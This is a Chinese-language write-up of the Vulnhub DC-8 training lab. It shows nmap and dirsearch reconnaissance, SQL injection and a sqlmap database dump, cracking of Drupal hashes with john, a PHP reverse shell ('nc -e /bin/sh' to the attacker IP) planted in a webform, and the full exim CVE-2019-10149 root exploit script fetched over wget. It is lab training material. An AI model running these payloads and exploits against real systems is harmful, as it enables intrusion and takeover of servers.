Vulnhub靶场DC-8练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 发现sql注入点
    • 2. sqlmap跑数据
    • 3. John解密
    • 4. 反弹shell
    • 5. exim4提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-8.zip

介绍:

This challenge is a bit of a hybrid between being an actual challenge, and being a “proof of concept” as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

这个挑战有点像一个混合体,既是一个实际的挑战,也是一个“概念验证”,即在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用。

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

这个挑战的最终目标是绕过双因素身份验证,获取root并读取唯一的标志。

You probably wouldn’t even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it’s definitely there and doing it’s job.

除非您尝试通过 SSH 登录,否则您甚至可能不知道已安装并配置了双因素身份验证,但它肯定存在并且正在完成它的工作。



0x01 主机信息收集


kali查询本机ip,执行命令:ifconfig

kali的ip地址:192.168.22.48,eth0


探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24

目标主机的ip:192.168.22.12

探测目标主机的开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.12

开放了22端口,ssh服务;80端口,并且使用了Drupal7。

在这里插入图片描述


0x02 站点信息收集


扫描站点目录,执行命令:dirsearch -u 192.168.22.12

有个user/login。

在这里插入图片描述



0x03 漏洞查找与利用


1. 发现sql注入点


访问站点,点击左侧Details里的三个页面,发现URL里的nid参数会发生变化,考虑和数据库有交互。
在这里插入图片描述


验证一下是否有sql注入:

构造:http://192.168.22.12/?nid=1’

页面报错。

在这里插入图片描述


构造:http://192.168.22.12/?nid=1 and 1=1

页面返回正常。

在这里插入图片描述


构造:http://192.168.22.12/?nid=1 and 1=2

页面返回正常,但是和上面返回的页面不同。

在这里插入图片描述


通过上面三条语句的回显,判断存在数字型sql注入。



2. sqlmap跑数据


执行命令:sqlmap -u http://192.168.22.12/?nid=1

结果表明,nid这个参数存在注入,并且给出了很多种注入漏洞。

在这里插入图片描述


列举数据库名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 --dbs

有两个数据库,d7db 和 information_schema。

在这里插入图片描述



先看d7db这个数据库。

列举表名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db --tables

找到一个users表。

在这里插入图片描述


列举users表的字段名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users --columns

发现了name,pass字段。

在这里插入图片描述


列举这两个字段的内容,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users -C name,pass --dump

得到了两组用户名密码。

在这里插入图片描述


admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF


3. John解密


用户名john的提示已经很明显了。接下里就是用john解密这两个密码。

将上面的内容保存到文件 a.txt 中,执行命令:john a.txt

john账户的密码是turtle。

(admin账户的一直解析不出来)

在这里插入图片描述



访问登录页面/user/login,登录这个账户。



4. 反弹shell


在Contact US下面的Edit页面,WEBFORM的From settings可以上传解析php的代码。

在这里插入图片描述


先用phpinfo测试一下文件的路径之类的,发现没有提示,也没有回显。
在这里插入图片描述


那就不能上传一句话木马了。php代码在保存以后会执行代码,考虑直接反弹shell。

在kali中监听端口9876,执行命令:nc -lvvp 9876

在上面的可以解析php的地方输入代码:

(前面<p>标签里的内容最好不要删掉,是编辑框中自带的,可以当记号)

<p>PPP</p>
<?php
system("nc -e /bin/sh 192.168.22.48  9876");
?>


写入后,点击最下面的save configuration,发现kali中没有监听成功。找一找可能是流程还没结束。发现在Contact Us这里需要提交一些信息。

在这里插入图片描述


提交成功后,页面回显了前面提交的反弹shell的php代码。

在这里插入图片描述



说明代码执行了。再来看一下,kali中监听端口成功。

在这里插入图片描述


5. exim4提权


进入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'


查找所有具有suid权限的文件:find / -perm -u=s -type f 2>/dev/null

对每个都搜索了一下,发现exim4可以提权,debian发行版(包括Ubuntu)使用exim4作为默认的邮件服务器。

在这里插入图片描述


查看exim4的版本:exim4 --version

在这里插入图片描述



searchsploit查找相关的漏洞:searchsploit exim

有一个对应版本的本地权限提升(Local Privilege Escalation)

在这里插入图片描述


把脚本复制到当前目录比较好操作:cp /usr/share/exploitdb/exploits/linux/local/46996.sh .

可以看一下这个脚本文件的内容:cat 46996.sh

#!/bin/bash#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'# usage instructions
function usage()
{echo "$0 [-m METHOD]"echoecho "-m setuid : use the setuid payload (default)"echo "-m netcat : use the netcat payload"echoexit 1
}# payload delivery
function exploit()
{# connect to localhost:25exec 3<>/dev/tcp/localhost/25# deliver the payloadread -u 3 && echo $REPLYecho "helo localhost" >&3read -u 3 && echo $REPLYecho "mail from:<>" >&3read -u 3 && echo $REPLYecho "rcpt to:<$PAYLOAD>" >&3read -u 3 && echo $REPLYecho "data" >&3read -u 3 && echo $REPLYfor i in {1..31}doecho "Received: $i" >&3doneecho "." >&3read -u 3 && echo $REPLYecho "quit" >&3read -u 3 && echo $REPLY
}# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo# parse command line
while [ ! -z "$1" ]; docase $1 in-m) shift; METHOD="$1"; shift;;* ) usage;;esac
done
if [ -z $METHOD ]; thenusage
fi# setuid method
if [ $METHOD = "setuid" ]; then# prepare a setuid shell helper to circumvent bash checksecho "Preparing setuid shell helper..."echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.cgcc -o /tmp/pwned /tmp/pwned.c 2>/dev/nullif [ $? -ne 0 ]; thenecho "Problems compiling setuid shell helper, check your gcc."echo "Falling back to the /bin/sh method."cp /bin/sh /tmp/pwnedfiecho# select and deliver the payloadecho "Delivering $METHOD payload..."PAYLOAD=$PAYLOAD_SETUIDexploitecho# wait for the magic to happen and spawn our shellecho "Waiting 5 seconds..."sleep 5ls -l /tmp/pwned/tmp/pwned# netcat method
elif [ $METHOD = "netcat" ]; then# select and deliver the payloadecho "Delivering $METHOD payload..."PAYLOAD=$PAYLOAD_NETCATexploitecho# wait for the magic to happen and spawn our shellecho "Waiting 5 seconds..."sleep 5nc -v 127.0.0.1 31337# print help
elseusage
fi 


可以看到这个脚本执行的话需要传递参数:./46996.sh -m netcat


接下来要做的是把这个脚本上传到靶机的服务器上。

在kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 2222

在这里插入图片描述


将这个脚本文件上传到靶机的/tmp目录下,因为/tmp目录才有写入权限。

在靶机上执行命令:

cd /tmp
wget http://192.168.22.48:2222/46996.sh


上传成功。

在这里插入图片描述


查看这个脚本的权限:ls -l

发现没有执行权限。

给他添加执行权限:chmod 777 46996.sh

在这里插入图片描述



执行脚本:./46996.sh -m netcat

在这里插入图片描述


拿到flag。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. dirsearch扫描站点的目录结构,发现登录页面。

漏洞利用:

  1. 找sql注入点。
  2. sqlmap跑数据库,获取登录的用户名和密码。
  3. john解密。
  4. 反弹shell。
  5. exim4提权。





本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3268712.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

助人利人,是自己的需要

96天 【明明德即是亲民】 帮助他人、利益他人&#xff0c;不是他人的需要&#xff0c;而是我们自己的需要&#xff0c;我们需要开发自己内心的宝藏 ~ 心学很简单、很平实&#xff0c;但是在精微之处又是深奥且广大&#xff0c;没有下功夫的人难于描述其中的精妙&#xff1b;…

计算机毕业设计:基于SSM的宠物领养系统

私信获取完整代码 一、选题背景介绍 &#x1f4d6;☕️&#x1f30a;&#x1f4dd;&#x1f4da;&#x1f3a9;&#x1f680;&#x1f4e3; &#x1f3a9; 宠物领养系统&#xff1a;帮助爱宠人士更好的去查看可以领养的宠物&#xff0c;帮助宣传相关保护宠物相关知识 &…

【二叉树 C++DFS】2458. 移除子树后的二叉树高度

本文涉及知识点 二叉树 CDFS LeetCode 2458. 移除子树后的二叉树高度 给你一棵 二叉树 的根节点 root &#xff0c;树中有 n 个节点。每个节点都可以被分配一个从 1 到 n 且互不相同的值。另给你一个长度为 m 的数组 queries 。 你必须在树上执行 m 个 独立 的查询&#xff…

深入理解计算机系统 CSAPP 家庭作业11.8

回收子进程是书本537页的内容 在tiny.c文件加以下代码,记得重新编译哦 书中提到CGI是在动态内容中的,所以题目的意思应该是在动态内容里面回收 void handler1(int sig) {int olderrno errno;while (waitpid(-1,NULL,0)>0){Sio_puts("Handler reaped child\n");…

Scrapy 爬取旅游景点相关数据(四)

本节内容主要为&#xff1a; &#xff08;1&#xff09;创建数据库 &#xff08;2&#xff09;创建数据库表 &#xff08;3&#xff09;爬取数据进MYSQL库 1 新建数据库 使用MYSQL数据库存储数据&#xff0c;创建一个新的数据库 create database scrapy_demo;2 新建数据表 CR…

开发者的AI革命:我们仍在敲代码,AI为何没有取代我们的工作?

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【区块链+绿色低碳】雄韬智慧锂电储能管理系统 | FISCO BCOS应用案例

雄韬智慧锂电储能管理系统&#xff08;Energy Management System&#xff0c;以下简称 EMS&#xff09;是雄韬集团响应国家实现新型电力 系统建设&#xff0c;助力“碳达峰、碳中和”目标而自主开发的创新智慧锂电储能系统。 系统采用了 FISCO BCOS 联盟链&#xff0c;融合了物…

放大电路总结

补充: 只有直流移动时才有Rbe动态等效电阻 从RsUs看进去,实际上不管接了什么东西都能够看成是一个Ri(输入电阻) Ri Ui/Ii Rb//Rbe Ui/Us Ri/(RiRs) Aus (Uo/Ui)*(Ui/Us) Au *Ri/(RiRs) 当前面是一个电压源的信号 我们就需要输入电阻更大 Ro--->输出电阻--->将…

Mybatis(四)特殊SQL的查询:模糊查询、批量删除、动态设置表明、添加功能获取自增的主键

实体类&#xff1a; 数据库&#xff1a; 1、模糊查询 方案一&#xff1a; 不适用#{ }&#xff0c;’%?%‘ 问号是属于字符串的一部分 不会被解析成占位符&#xff0c;会被当作是我们字符串的一部分来解析&#xff0c;所以我们执行的语句中找不到占位符&#xff0c;但是我们却…

帕金森病(PD)诊断:三种基于语音的深度学习方法

帕金森病&#xff08;Parkinson’s disease, PD&#xff09;是世界上第二大流行的神经退行性疾病&#xff0c;全球影响着超过1000万人&#xff0c;仅次于阿尔茨海默症。人们通常在65岁左右被诊断出患有此病。PD的一些症状包括震颤、肌肉僵硬和运动迟缓。这些症状往往出现在较晚…

跟《经济学人》学英文:2024年07月20日这期 Japan’s strength produces a weak yen

Japan’s strength produces a weak yen Currency meddling will prove futile 货币干预将被证明是徒劳的 meddling&#xff1a;干涉&#xff1b;摸弄&#xff1b;&#xff08;meddle的现在分词形式&#xff09; futile&#xff1a; 美 [ˈfjuːtl] 无效的&#xff1b;徒劳…

RKNN3588——YOLOv10的PT模型转RKNN模型

一&#xff1a;PT转ONNX 修改yolov10的源码 1. 修改head.py文件&#xff0c;在lass v10Detect(Detect)中的forward添加 # 导出onnx增加y []for i in range(self.nl):t1 self.one2one_cv2[i](x[i])t2 self.one2one_cv3[i](x[i])y.append(t1)y.append(t2)return y# 导出onnx…

(精校版)高校大数据实验室建设解决方案

在当今数据驱动的时代&#xff0c;大数据已成为推动社会发展的核心动力。高校作为培养未来社会精英和科技创新人才的摇篮&#xff0c;迫切需要建设大数据实验室&#xff0c;以应对日益增长的大数据人才需求和科学研究挑战。大数据实验室不仅能够提供先进的教学资源和实践平台&a…

mysql面试(七)

前言 本章节列出了mysql在增删改查的时候&#xff0c;分别会涉及到哪些锁类型&#xff0c;又是如何交互的。 这个章节也是mysql面试基础系列的最后一章&#xff0c;后面准备更新redis数据类型和分布式锁相关问题。如果各位看官有什么问题的话&#xff0c;可以留言。 锁 之前…

leetocde662. 二叉树最大宽度,面试必刷题,思路清晰,分点解析,附代码详解带你完全弄懂

leetocde662. 二叉树最大宽度 做此题之前可以先做一下二叉树的层序遍历。具体题目如下&#xff1a; leetcode102二叉树的层序遍历 我也写过题解&#xff0c;可以先看看学习一下&#xff0c;如果会做层序遍历了&#xff0c;那么这题相对来说会简单很多。 具体题目 给你一棵…

Vue3+Element Plus 实现table表格中input的验证

实现效果 html部分 <template><div class"table"><el-form ref"tableFormRef" :model"form"><el-table :data"form.detailList"><el-table-column type"selection" width"55" align&…

Wonder3D 论文学习

论文链接&#xff1a;https://arxiv.org/abs/2310.15008 代码链接&#xff1a;https://github.com/xxlong0/Wonder3D 解决了什么问题&#xff1f; 随着扩散模型的提出&#xff0c;3D 生成领域取得了长足进步。从单张图片重建出 3D 几何是计算机图形学和 3D 视觉的基础任务&am…

【限免】16PAM、16PSK、16QAM、16CQAM星座图及误码率【附MATLAB代码】

​微信公众号&#xff1a;智能电磁频谱算法 QQ交流群&#xff1a;949444104 主要内容 MATLAB代码 % Parameters M 16; N 4; % Number of circles for CQAM SNR_dB 0:2:25; % Extended SNR range to reach higher values num_symbols 1e5; % Total number of symbols for s…

Linux学习笔记 --- 环境配置

在成功装载Ubuntu系统后我们需要设置其与windows系统的共享文件夹&#xff0c;按照以下步骤操作 设置完共享文件夹后在终端执行以下命令查看是否成功设置 此时下方出现设置的共享文件夹名称则为成功设置 如果未显示可以尝试进行重新安装VMware tools&#xff0c;步骤如下&…

git等常用工具以及cmake

一、将git中的代码克隆进电脑以及常用工具介绍 1.安装git 首先需要安装git sudo apt install git 注意一定要加--recursive&#xff0c;因为文件中有很多“引用文件“&#xff0c;即第三方文件&#xff08;库&#xff09;&#xff0c;加入该选项会将文件中包含的子模…